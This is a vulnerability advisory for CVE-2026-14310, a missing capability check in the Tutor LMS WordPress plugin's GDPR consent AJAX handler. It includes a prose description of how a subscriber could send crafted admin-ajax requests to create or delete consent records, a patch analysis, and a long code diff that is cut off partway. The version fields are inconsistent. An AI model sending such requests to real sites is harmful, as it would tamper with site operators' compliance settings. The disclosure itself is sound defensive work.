Published : August 6, 2026

CVE-2026-14310: Tutor LMS – eLearning and online course solution < 4.0.0 Missing Authorization PoC, Patch Analysis & Rule

Plugin tutor
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 4.0.0
Patched Version 4.0.0
Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14310: This vulnerability permits authenticated attackers with subscriber-level access to perform unauthorized actions in the Tutor LMS plugin for WordPress. The issue stems from a missing authorization check within the new GDPR feature introduced in version 4.0.0. A subscriber, lacking administrative privileges, can execute administrative functions such as creating, reading, updating, and deleting legal consent records, leading to data manipulation and potential defacement of the site.

Root Cause: The root cause is a missing capability check in the `handle_legal_consent_ajax` method of the `LegalConsent` controller, located in `tutor/GDPR/Controllers/LegalConsent.php`. This method is registered to handle AJAX requests via `wp_ajax_tutor_gdpr_legal_consents`. While the method calls `$this->validate_ajax_request()`, this function only verifies a valid nonce via `tutor_utils()->check_nonce()` and does not perform any user capability check (e.g., `current_user_can`). This allows any authenticated user, including subscribers, to invoke the AJAX action. The vulnerability is present in the unpatched version where the `BaseController::validate_ajax_request()` method lacks the capability verification.

Exploitation: An attacker with subscriber-level access can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `tutor_gdpr_legal_consents`. The attacker would then set the `crud_action` parameter to values like `create`, `read`, `update`, or `delete`. For example, to create a new consent, the request would include `crud_action=create`, along with `consent_title`, `consent_message`, `display_on`, and other relevant parameters. To delete an existing consent, the attacker would send `crud_action=delete` and the target consent’s `id`. This grants the attacker full control over the GDPR consent configuration, bypassing the intended administrator-only restrictions.

Patch Analysis: The patch modifies the `tutor/GDPR/Controllers/BaseController.php` file, specifically the `validate_ajax_request` method. The patched version adds a call to `tutor_utils()->check_current_user_capability()`. This new function performs the required capability check, ensuring that only users with the appropriate administrative permissions can trigger the AJAX handlers. This fixes the vulnerability by enforcing authorization before executing any actions in the consent controllers.

Impact: An attacker exploiting this vulnerability can fully control the plugin’s GDPR legal consent settings. This includes the ability to create, modify, or delete consent forms displayed to users during registration, login, and checkout. A malicious actor could tamper with consent text to include misleading or malicious content, or delete consents to break compliance with data protection regulations. The inability to delete consents could also be used as a denial-of-service vector against the site’s administrative functionality.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tutor/GDPR/Controllers/BaseController.php
+++ b/tutor/GDPR/Controllers/BaseController.php
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Base controller class
+ *
+ * @package TutorGDPRControllers
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRControllers;
+
+/**
+ * Base controller for the consent controllers
+ */
+class BaseController {
+
+	/**
+	 * Validate nonce and user capability for AJAX requests.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	protected function validate_ajax_request() {
+		tutor_utils()->check_nonce();
+		tutor_utils()->check_current_user_capability();
+	}
+}
--- a/tutor/GDPR/Controllers/LegalConsent.php
+++ b/tutor/GDPR/Controllers/LegalConsent.php
@@ -0,0 +1,930 @@
+<?php
+/**
+ * GDPR legal consent controller for managing consents.
+ *
+ * @package TutorGDPRControllers
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRControllers;
+
+use TutorGDPRModels{LegalConsents, LegalConsentLogs};
+use TutorHelpersValidationHelper;
+use TUTORInput;
+use TutorTraitsJsonResponse;
+use WP_Error;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * GDPR AJAX controller for legal consents CRUD.
+ *
+ * @since 4.0.0
+ */
+class LegalConsent extends BaseController {
+
+	use JsonResponse;
+
+	/**
+	 * Consent display places
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	const DISPLAY_ON_LOGIN        = 'login';
+	const DISPLAY_ON_STD_REG      = 'student_registration';
+	const DISPLAY_ON_INS_REG      = 'instructor_registration';
+	const DISPLAY_ON_CHECKOUT     = 'checkout';
+	const DISPLAY_ON_SUBSCRIPTION = 'subscription';
+	const DISPLAY_ON_ENROLLMENT   = 'enrollment';
+
+	/**
+	 * Consent method
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var string
+	 */
+	const METHOD_MANDATORY_CHECK = 'mandatory_checkbox';
+	const METHOD_OPTIONAL_CHECK  = 'optional_checkbox';
+	const METHOD_TEXT_ONLY       = 'text_only';
+
+	/**
+	 * Legal consent model.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var LegalConsents
+	 */
+	private $model;
+
+	/**
+	 * Consent update logs model.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var LegalConsentLogs
+	 */
+	private $log_model;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param bool $register_hooks Trigger hooks or not.
+	 */
+	public function __construct( $register_hooks = true ) {
+		$this->model     = new LegalConsents();
+		$this->log_model = new LegalConsentLogs();
+
+		if ( $register_hooks ) {
+			$this->register_hooks();
+		}
+	}
+
+	/**
+	 * Register AJAX hooks.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	private function register_hooks() {
+		add_action( 'wp_ajax_tutor_gdpr_legal_consents', array( $this, 'handle_legal_consent_ajax' ) );
+		add_filter( 'tutor_localize_data', array( $this, 'extend_localize_data' ) );
+		add_action( 'tutor_login_form_end', array( $this, 'show_consent_field_on_login_form' ) );
+	}
+
+	/**
+	 * Add legal consent display places to localized data.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $localize_data Localized data array.
+	 *
+	 * @return array
+	 */
+	public function extend_localize_data( $localize_data ) {
+		$localize_data['legal_consent_display_places'] = self::get_consent_places();
+
+		return $localize_data;
+	}
+
+	/**
+	 * Show consent field on the login form if available
+	 *
+	 * @since 4.0.0
+	 */
+	public function show_consent_field_on_login_form() {
+		$consents = self::get_consent_by_display_key( self::DISPLAY_ON_LOGIN );
+		if ( tutor_utils()->count( $consents ) ) {
+			foreach ( $consents as $consent ) {
+				self::render_consent_field( $consent, 'tutor-mt-8 tutor-mb-24' );
+			}
+		}
+	}
+
+	/**
+	 * Get the list of display places for legal consent.
+	 *
+	 * The list is filterable with the 'tutor_legal_consent_display_places' filter hook.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array List of display place keys.
+	 */
+	public static function get_consent_places() {
+		$places = array(
+			self::DISPLAY_ON_STD_REG,
+			self::DISPLAY_ON_LOGIN,
+			self::DISPLAY_ON_CHECKOUT,
+		);
+
+		$is_marketplace_enabled = tutor_utils()->get_option( 'enable_course_marketplace', false );
+
+		if ( $is_marketplace_enabled ) {
+			$places[] = self::DISPLAY_ON_INS_REG;
+		}
+
+		return apply_filters( 'tutor_legal_consent_display_places', $places );
+	}
+
+	/**
+	 * Get display place options for the legal consent settings screen.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array<string, string>
+	 */
+	public static function get_display_place_options(): array {
+		$labels  = array(
+			self::DISPLAY_ON_CHECKOUT     => __( 'Checkout', 'tutor' ),
+			self::DISPLAY_ON_SUBSCRIPTION => __( 'Subscription', 'tutor' ),
+			self::DISPLAY_ON_ENROLLMENT   => __( 'Enrollment', 'tutor' ),
+		);
+		$options = array();
+
+		foreach ( self::get_consent_places() as $place ) {
+			$options[ $place ] = $labels[ $place ] ?? ucwords( str_replace( '_', ' ', $place ) );
+		}
+
+		return $options;
+	}
+
+	/**
+	 * Get consent method options for the legal consent settings screen.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array<string, string>
+	 */
+	public static function get_consent_method_options(): array {
+		return array(
+			self::METHOD_MANDATORY_CHECK => __( 'Mandatory Checkbox', 'tutor' ),
+			self::METHOD_OPTIONAL_CHECK  => __( 'Optional Checkbox', 'tutor' ),
+			self::METHOD_TEXT_ONLY       => __( 'Display Text Only', 'tutor' ),
+		);
+	}
+
+	/**
+	 * Get legal consent items.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array<int, array<string, mixed>>
+	 */
+	public static function get_consents(): array {
+		$items = ( new self( false ) )->model->get_all( array() );
+
+		if ( ! is_array( $items ) ) {
+			return array();
+		}
+
+		$normalize_display_on = function ( $display_on ): array {
+			if ( is_array( $display_on ) ) {
+				return $display_on;
+			}
+
+			$display_on = array_filter( array_map( 'trim', explode( ',', (string) $display_on ) ) );
+			$normalized = array_combine( $display_on, $display_on );
+
+			if ( false === $normalized ) {
+				return array();
+			}
+
+			return $normalized;
+		};
+
+		$normalize_content_map = function ( $content_map ): array {
+			if ( is_array( $content_map ) ) {
+				return $content_map;
+			}
+
+			if ( ! is_string( $content_map ) || '' === $content_map ) {
+				return array();
+			}
+
+			$decoded = json_decode( $content_map, true );
+
+			return is_array( $decoded ) ? $decoded : array();
+		};
+
+		return array_map(
+			function ( $item ) use ( $normalize_content_map, $normalize_display_on ) {
+				$item = (array) $item;
+
+				return array(
+					'id'          => isset( $item['id'] ) ? (int) $item['id'] : 0,
+					'enabled'     => ! empty( $item['is_active'] ) ? 'on' : 'off',
+					'title'       => $item['consent_title'] ?? '',
+					'display_on'  => $normalize_display_on( $item['display_on'] ?? '' ),
+					'message'     => $item['consent_message'] ?? '',
+					'method'      => $item['consent_method'] ?? self::METHOD_MANDATORY_CHECK,
+					'content_map' => $normalize_content_map( $item['consent_map'] ?? array() ),
+				);
+			},
+			$items
+		);
+	}
+
+	/**
+	 * Handle legal consent CRUD AJAX requests.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	public function handle_legal_consent_ajax() {
+		$this->validate_ajax_request();
+
+		$action = Input::post( 'crud_action', '' );
+		$data   = Input::sanitize_array( $_POST ); //phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce is validated.
+
+		switch ( $action ) {
+			case 'create':
+				$this->create_legal_consent( $data );
+				break;
+
+			case 'read':
+				$this->get_legal_consent( Input::post( 'id', 0, Input::TYPE_INT ) );
+				break;
+
+			case 'list':
+				$this->list_legal_consents( $data );
+				break;
+
+			case 'update':
+				$this->update_legal_consent( Input::post( 'id', 0, Input::TYPE_INT ), $data );
+				break;
+
+			case 'delete':
+				$this->delete_legal_consent( Input::post( 'id', 0, Input::TYPE_INT ) );
+				break;
+
+			default:
+				$this->response_fail( __( 'Invalid legal consent action.', 'tutor' ), 400 );
+		}
+	}
+
+	/**
+	 * Get legal consents by scope
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $place_key Place key like signup, signin, etc.
+	 *
+	 * @return array Consent places.
+	 */
+	public static function get_consent_by_display_key( string $place_key ): array {
+		if ( ! in_array( $place_key, self::get_consent_places(), true ) ) {
+			return array();
+		}
+
+		$res = ( new self( false ) )->model->get_consents_by_display_key( $place_key );
+
+		return $res ? $res : array();
+	}
+
+	/**
+	 * Create legal consent entry.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $request Request data.
+	 *
+	 * @return void
+	 */
+	private function create_legal_consent( array $request ) {
+		global $wpdb;
+
+		$request['version'] = 1;
+
+		$data = $this->prepare_legal_consent_data( $request, true );
+
+		if ( is_wp_error( $data ) ) {
+			$this->json_response( '', $data->errors, 400 );
+		}
+
+		$consent_map = tutor_is_json( $data['consent_map'] ) ? $data['consent_map'] : null;
+		if ( is_null( $consent_map ) ) {
+			$this->json_response( __( 'Invalid consent map', 'tutor' ), '', 400 );
+		}
+
+		$wpdb->query( 'START TRANSACTION' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$legal_consent_id = $this->model->create( $data );
+		if ( ! $legal_consent_id ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to create legal consent.', 'tutor' ), 500 );
+		}
+
+		$log_id = $this->log_model->create(
+			array(
+				'legal_consent_id' => (int) $legal_consent_id,
+				'action'           => 'created',
+				'old_data'         => null,
+				'new_data'         => wp_json_encode( $data ),
+				'created_at_gmt'   => current_time( 'mysql', true ),
+			)
+		);
+
+		if ( ! $log_id ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to create legal consent log.', 'tutor' ), 500 );
+		}
+
+		$wpdb->query( 'COMMIT' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$this->json_response(
+			__( 'Legal consent created successfully.', 'tutor' ),
+			array(
+				'id' => $legal_consent_id,
+			),
+			200
+		);
+	}
+
+	/**
+	 * Get single legal consent.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $id Legal consent ID.
+	 *
+	 * @return void
+	 */
+	private function get_legal_consent( int $id ) {
+		if ( ! $id ) {
+			$this->response_fail( __( 'Invalid legal consent id.', 'tutor' ), 400 );
+		}
+
+		$item = $this->model->get_row( array( 'id' => $id ) );
+		if ( ! $item ) {
+			$this->response_fail( __( 'Legal consent not found.', 'tutor' ), 404 );
+		}
+
+		$this->response_data( $item );
+	}
+
+	/**
+	 * Get legal consent list.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $request Request data.
+	 *
+	 * @return void
+	 */
+	private function list_legal_consents( array $request ) {
+		$where = array();
+
+		$consent_title = $request['consent_title'] ?? '';
+		if ( ! empty( $consent_title ) ) {
+			$where['consent_title'] = Input::sanitize( $consent_title );
+		}
+
+		if ( Input::has( 'is_active' ) ) {
+			$where['is_active'] = (int) $request['is_active'];
+		}
+
+		$items = $this->model->get_all( $where );
+		$this->response_data( $items );
+	}
+
+	/**
+	 * Update legal consent entry.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int   $id      Legal consent ID.
+	 * @param array $request Request data.
+	 *
+	 * @return void
+	 */
+	private function update_legal_consent( int $id, array $request ) {
+		global $wpdb;
+
+		if ( ! $id ) {
+			$this->response_fail( __( 'Invalid legal consent id.', 'tutor' ), 400 );
+		}
+
+		$existing = $this->model->get_row( array( 'id' => $id ) );
+		if ( ! $existing ) {
+			$this->response_fail( __( 'Legal consent not found.', 'tutor' ), 404 );
+		}
+
+		$data = $this->prepare_legal_consent_data( $request, false );
+		if ( is_wp_error( $data ) ) {
+			$this->response_bad_request( __( 'Validation error', 'tutor' ), $data->errors, 400 );
+		}
+
+		if ( isset( $data['consent_map'] ) && ! tutor_is_json( $data['consent_map'] ) ) {
+			$this->response_fail( __( 'Invalid consent map.', 'tutor' ), 400 );
+		}
+
+		if ( empty( $data ) ) {
+			$this->response_fail( __( 'No update data found.', 'tutor' ), 400 );
+		}
+
+		$wpdb->query( 'START TRANSACTION' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$data['version']        = (int) $existing->version + 1;
+		$data['updated_at_gmt'] = current_time( 'mysql', true );
+		$updated                = $this->model->update( $id, $data );
+		if ( ! $updated ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to update legal consent.', 'tutor' ), 500 );
+		}
+
+		$new_data = array_merge( (array) $existing, $data );
+
+		$log_id = $this->log_model->create(
+			array(
+				'legal_consent_id' => $id,
+				'action'           => 'updated',
+				'old_data'         => wp_json_encode( (array) $existing ),
+				'new_data'         => wp_json_encode( $new_data ),
+				'created_at_gmt'   => current_time( 'mysql', true ),
+			)
+		);
+		if ( ! $log_id ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to create legal consent log.', 'tutor' ), 500 );
+		}
+
+		$wpdb->query( 'COMMIT' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$this->response_success( __( 'Legal consent updated successfully.', 'tutor' ) );
+	}
+
+	/**
+	 * Delete legal consent entry.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $id Legal consent ID.
+	 *
+	 * @return void
+	 */
+	private function delete_legal_consent( int $id ) {
+		global $wpdb;
+
+		if ( ! $id ) {
+			$this->response_fail( __( 'Invalid legal consent id.', 'tutor' ), 400 );
+		}
+
+		$existing = $this->model->get_row( array( 'id' => $id ) );
+		if ( ! $existing ) {
+			$this->response_fail( __( 'Legal consent not found.', 'tutor' ), 404 );
+		}
+
+		$wpdb->query( 'START TRANSACTION' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$deleted = $this->model->delete( $id );
+		if ( ! $deleted ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to delete legal consent.', 'tutor' ), 500 );
+		}
+
+		$log_id = $this->log_model->create(
+			array(
+				'legal_consent_id' => $id,
+				'action'           => 'deleted',
+				'old_data'         => wp_json_encode( (array) $existing ),
+				'new_data'         => null,
+				'created_at_gmt'   => current_time( 'mysql', true ),
+			)
+		);
+		if ( ! $log_id ) {
+			$wpdb->query( 'ROLLBACK' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+			$this->response_fail( __( 'Failed to create legal consent log.', 'tutor' ), 500 );
+		}
+
+		$wpdb->query( 'COMMIT' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+
+		$this->response_success( __( 'Legal consent deleted successfully.', 'tutor' ) );
+	}
+
+	/**
+	 * Prepare and validate legal consent payload.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $request   Request data.
+	 * @param bool  $is_create True for create operation.
+	 *
+	 * @return array|WP_Error
+	 */
+	private function prepare_legal_consent_data( array $request, bool $is_create ) {
+		$request = array_intersect_key( $request, array_flip( $this->model->get_fillable_fields() ) );
+
+		$data = array(
+			'consent_title'   => Input::sanitize( $request['consent_title'] ?? '', '', Input::TYPE_STRING ),
+			'display_on'      => Input::sanitize( $request['display_on'] ?? '', '', Input::TYPE_STRING ),
+			'consent_message' => Input::sanitize( $request['consent_message'] ?? '', '', Input::TYPE_KSES_POST ),
+			'consent_map'     => Input::sanitize( $request['consent_map'] ?? '', '', Input::TYPE_STRING ),
+			'version'         => Input::sanitize( $request['version'] ?? '', '', Input::TYPE_STRING ),
+			'consent_method'  => Input::sanitize( $request['consent_method'] ?? '' ),
+			'is_active'       => (int) Input::sanitize( $request['is_active'] ?? true, true, Input::TYPE_BOOL ),
+			'settings'        => $this->sanitize_json_field( $request['settings'] ?? '' ),
+		);
+
+		if ( $is_create ) {
+			$validation = ValidationHelper::validate( $this->get_legal_consent_validation_rules(), $data );
+			if ( ! $validation->success ) {
+				return new WP_Error( 'validation_error', $validation->errors );
+			}
+
+			$data['created_at_gmt'] = current_time( 'mysql', true );
+		} else {
+			$data = array_filter(
+				$request,
+				function ( $value ) {
+					return '' !== $value && null !== $value;
+				}
+			);
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Get legal consent validation rules.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array
+	 */
+	private function get_legal_consent_validation_rules(): array {
+		return array(
+			'consent_title'   => 'required',
+			'display_on'      => 'required',
+			'consent_message' => 'required',
+			'version'         => 'required',
+			'consent_method'  => 'required',
+		);
+	}
+
+	/**
+	 * Sanitize JSON-like settings field.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param mixed $value Settings input.
+	 *
+	 * @return string|null
+	 */
+	private function sanitize_json_field( $value ) {
+		if ( is_array( $value ) ) {
+			return wp_json_encode( $value );
+		}
+
+		$value = is_string( $value ) ? trim( wp_unslash( $value ) ) : '';
+		if ( '' === $value ) {
+			return null;
+		}
+
+		$decoded = json_decode( $value, true );
+		return JSON_ERROR_NONE === json_last_error() ? wp_json_encode( $decoded ) : sanitize_text_field( $value );
+	}
+
+	/**
+	 * Render consent field markup.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 * @param string $wrapper_cs_class Wrapper css class for styling.
+	 *
+	 * @return void
+	 */
+	public static function render_consent_field( object $consent, string $wrapper_cs_class = '' ): void {
+		if ( ! $consent->is_active ) {
+			return;
+		}
+
+		$allowed_places = self::get_consent_places();
+
+		// Normalize display_on to array.
+		if ( is_array( $consent->display_on ) ) {
+			$display_on = array_map( 'strval', array_values( $consent->display_on ) );
+		} else {
+			$display_on = array_filter( array_map( 'trim', explode( ',', (string) ( $consent->display_on ?? '' ) ) ) );
+		}
+
+		if ( empty( array_intersect( $display_on, $allowed_places ) ) ) {
+			return;
+		}
+
+		$is_required  = self::is_required( $consent );
+		$is_text_only = self::METHOD_TEXT_ONLY === $consent->consent_method;
+		$field_name   = self::get_field_name( $consent );
+
+		?>
+		<div class="tutor-form-row <?php echo esc_attr( $wrapper_cs_class ); ?>">
+			<div class="tutor-input-field">
+				<div class="tutor-input-wrapper tutor-form-check tutor-d-flex" style="align-items: start;">
+					<?php if ( ! $is_text_only ) : ?>
+						<input type="checkbox" id="<?php echo esc_attr( $field_name ); ?>" name="<?php echo esc_attr( $field_name ); ?>" class="tutor-checkbox tutor-checkbox-md tutor-form-check-input" style="margin-top: 2px!important;" <?php echo esc_attr( $is_required ? 'required' : '' ); ?>>
+					<?php endif; ?>
+					<label for="<?php echo esc_attr( $field_name ); ?>" class="tutor-label">
+						<?php self::render_constructed_label_text( $consent ); ?>
+					</label>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Check whether a consent is required.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 *
+	 * @return bool
+	 */
+	public static function is_required( object $consent ): bool {
+		return self::METHOD_MANDATORY_CHECK === $consent->consent_method;
+	}
+
+	/**
+	 * Check whether a consent is active.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 *
+	 * @return bool
+	 */
+	public static function is_active( object $consent ): bool {
+		$is_active = (int) $consent->is_active;
+		return $is_active ? true : false;
+	}
+
+	/**
+	 * Check whether a consent is text only without checkbox.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 *
+	 * @return bool
+	 */
+	public static function is_text_only( object $consent ): bool {
+		return self::METHOD_TEXT_ONLY === $consent->consent_method;
+	}
+
+	/**
+	 * Get the consent field name
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 *
+	 * @return string
+	 */
+	public static function get_field_name( object $consent ): string {
+		return strtolower( str_replace( ' ', '_', $consent->consent_title . '_' . $consent->id ) );
+	}
+
+
+	/**
+	 * Render consent label text with optional linked placeholders.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent settings object.
+	 *
+	 * @return void
+	 */
+	private static function render_constructed_label_text( object $consent ): void {
+		if ( empty( $consent ) || empty( $consent->consent_message ) ) {
+			return;
+		}
+
+		// Decode message (fix & etc).
+		$message = html_entity_decode( $consent->consent_message );
+
+		// Normalize map (JSON → array).
+		$map = is_array( $consent->consent_map )
+			? $consent->consent_map
+			: json_decode( $consent->consent_map, true );
+
+		if ( empty( $map ) || ! is_array( $map ) ) {
+			echo esc_html( $message );
+			return;
+		}
+
+		// Find all {placeholders}.
+		preg_match_all( '/{([a-zA-Z0-9_-]+)}/', $message, $matches );
+
+		if ( empty( $matches[1] ) ) {
+			echo esc_html( $message );
+			return;
+		}
+
+		foreach ( $matches[1] as $key ) {
+
+			if ( empty( $map[ $key ] ) ) {
+				continue;
+			}
+
+			$page_id = (int) $map[ $key ];
+
+			if ( ! $page_id || 'publish' !== get_post_status( $page_id ) ) {
+				continue;
+			}
+
+			$url   = get_permalink( $page_id );
+			$title = get_the_title( $page_id );
+
+			$anchor = sprintf(
+				'<a href="%s" target="_blank" rel="noopener noreferrer" class="tutor-consent-link" style="display:contents;">%s</a>',
+				esc_url( $url ),
+				esc_html( $title )
+			);
+
+			$message = str_replace( '{' . $key . '}', $anchor, $message );
+		}
+
+		add_filter(
+			'safe_style_css',
+			function ( $styles ) {
+				$styles[] = 'display';
+				return $styles;
+			}
+		);
+
+		echo wp_kses(
+			$message,
+			array(
+				'a' => array(
+					'href'   => array(),
+					'target' => array(),
+					'rel'    => array(),
+					'class'  => array(),
+					'style'  => true,
+				),
+			)
+		);
+	}
+
+	/**
+	 * Check if the display place has consent & validate it
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $display_key Display key.
+	 * @param array  $request Input request.
+	 *
+	 * @return WP_Error|array WP_Error when the consent is required but not present in the req. Array
+	 * contain the given consent fields.
+	 */
+	public static function validate_consent( string $display_key, array $request ) {
+		$consents = self::get_consent_by_display_key( $display_key );
+
+		// Keep the fields where user has given consent.
+		$res = array();
+
+		if ( tutor_utils()->count( $consents ) ) {
+			foreach ( $consents as $consent ) {
+				$is_active = (int) $consent->is_active;
+				if ( ! $is_active ) {
+					continue;
+				}
+
+				$field_name  = self::get_field_name( $consent );
+				$is_required = self::is_required( $consent );
+				$is_checked  = $request[ $field_name ] ?? 0;
+
+				if ( $is_required && ! $is_checked ) {
+					return new WP_Error( 'consent_error', __( 'Please accept the consent field', 'tutor' ) );
+				}
+
+				if ( $is_checked ) {
+					array_push( $res, $field_name );
+				}
+			}
+		} else {
+			$terms_conditions_link = tutor_utils()->get_toc_page_link();
+			if ( $terms_conditions_link ) {
+				$is_checked = self::DISPLAY_ON_CHECKOUT === $display_key
+					? ( $request['agree_to_terms'] ?? 0 )
+					: ( $request['terms_conditions'] ?? 0 );
+				if ( ! $is_checked ) {
+					$required_fields['terms_conditions'] = __( 'Please accept the Terms and Conditions to continue', 'tutor' );
+				}
+
+				array_push( $res, self::DISPLAY_ON_CHECKOUT === $display_key ? 'agree_to_terms' : 'terms_conditions' );
+			}
+		}
+
+		return $res;
+	}
+
+	/**
+	 * Build a snapshot of the consent message and associated links.
+	 *
+	 * This method decodes the consent message, replaces any placeholders with finalized anchor tags,
+	 * and constructs a links snapshot containing details about the linked pages.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param object $consent Consent object containing message and map details.
+	 *
+	 * @return array Array containing the processed consent message and the links snapshot.
+	 */
+	public static function build_consent_snapshot( object $consent ): array {
+		if ( empty( $consent ) || empty( $consent->consent_message ) ) {
+			return array();
+		}
+
+		// Decode message.
+		$message = html_entity_decode( $consent->consent_message );
+
+		// Normalize map.
+		$map = is_array( $consent->consent_map )
+			? $consent->consent_map
+			: json_decode( $consent->consent_map, true );
+
+		$links_snapshot = array();
+
+		// Replace placeholders with final anchors.
+		preg_match_all( '/{([a-zA-Z0-9_-]+)}/', $message, $matches );
+
+		if ( ! empty( $matches[1] ) && is_array( $map ) ) {
+
+			foreach ( $matches[1] as $key ) {
+
+				if ( empty( $map[ $key ] ) ) {
+					continue;
+				}
+
+				$page_id = (int) $map[ $key ];
+
+				if ( ! $page_id || 'publish' !== get_post_status( $page_id ) ) {
+					continue;
+				}
+
+				$url   = get_permalink( $page_id );
+				$title = get_the_title( $page_id );
+
+				// Build anchor (snapshot should NOT depend on future changes).
+				$anchor = sprintf(
+					'<a href="%s" target="_blank" rel="noopener noreferrer">%s</a>',
+					esc_url( $url ),
+					esc_html( $title )
+				);
+
+				$message = str_replace( '{' . $key . '}', $anchor, $message );
+
+				// Store link snapshot separately (optional but powerful).
+				$links_snapshot[ $key ] = array(
+					'page_id' => $page_id,
+					'url'     => $url,
+					'title'   => $title,
+				);
+			}
+		}
+
+		$plain_text = wp_strip_all_tags( $message );
+
+		return array(
+			'consent_title'             => $consent->consent_title ?? '',
+			'version'                   => $consent->version ?? 1,
+			'label_snapshot'            => $message,      // PRIMARY legal proof.
+			'label_snapshot_plain_text' => $plain_text, // Fallback plain text.
+			'links_snapshot'            => wp_json_encode( $links_snapshot ),
+			'consent_method'            => $consent->consent_method ?? null,
+			'created_at_gmt'            => gmdate( 'Y-m-d H:i:s' ),
+			'ip_address'                => isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : '',
+			'user_agent'                => isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : '',
+		);
+	}
+}
--- a/tutor/GDPR/Controllers/UserConsent.php
+++ b/tutor/GDPR/Controllers/UserConsent.php
@@ -0,0 +1,430 @@
+<?php
+/**
+ * GDPR user content controller.
+ *
+ * @package TutorGDPRControllers
+ * @author Themeum <support@themeum.com>
+ * @link https://themeum.com
+ * @since 4.0.0
+ */
+
+namespace TutorGDPRControllers;
+
+use Exception;
+use TutorGDPRModelsUserConsents;
+use TutorHelpersValidationHelper;
+use TUTORInput;
+use TutorTraitsJsonResponse;
+use WP_User;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * GDPR AJAX controller for user contents CRUD.
+ *
+ * @since 4.0.0
+ */
+class UserConsent extends BaseController {
+
+	use JsonResponse;
+
+	/**
+	 * User contents model.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @var UserContents
+	 */
+	private $model;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param bool $register_hooks When to trigger hook or not.
+	 */
+	public function __construct( bool $register_hooks = true ) {
+		$this->model = new UserConsents();
+
+		if ( $register_hooks ) {
+			$this->register_hooks();
+		}
+	}
+
+	/**
+	 * Register AJAX hooks.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return void
+	 */
+	private function register_hooks() {
+		add_action( 'tutor_new_user_registered', array( $this, 'store_registration_consent' ), 10, 2 );
+		add_action( 'tutor_new_instructor_registered', array( $this, 'store_instructor_registration_consent' ), 10, 2 );
+		add_action( 'tutor_after_login_success', array( $this, 'store_login_consent' ), 10, 2 );
